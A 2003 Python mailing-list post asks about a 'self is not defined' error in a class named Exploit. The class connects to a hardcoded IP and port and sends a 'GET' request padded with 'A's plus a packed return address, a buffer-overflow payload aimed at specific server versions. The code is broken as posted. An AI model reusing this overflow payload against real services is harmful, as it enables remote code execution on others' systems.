Self Undefined Error

Brent Bailey brb5548 at fsu.edu
Mon Jan 13 23:05:09 EST 2003


I am new to python and I must not understand how to make correct
declerations.  Does anyone have any idea why I get, NameError: "self" is not
defined, for the following code.

import socket

import struct

import select

class Exploit:

def init(self):

        pass

def setup(self):

        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.s.connect(('65.40.32.224',5678))

        self.returnAddress = 0x1834c # 1.43 log(2,"unknown file name!")

        self.returnAddress = 0x175fa # 1.42.7 log(2,"unknown file name!")

        self.paddingSize = 1500-20-20+1004+7*4

# 1500 is MTU

# 20 IP header

# 20 TCP header

# 1004 for allocated space

# 7 saved registers

        self.toSend = "GET"

        self.toSend += "A"*(self.paddingSize-len(self.toSend))

        self.toSend += struct.pack(">L", self.returnAddress)

def attack(self):

        self.s.send(self.toSend)

        (r,w,x) = select.select([self.s],[],[],2)

if self.s in r:

        print self.s.recv(100000)

        self.s.close()

def run(self):

        self.setup()

        self.attack()

def main():

        ex = Exploit()

        ex.run()

        main()






More information about the Python-list mailing list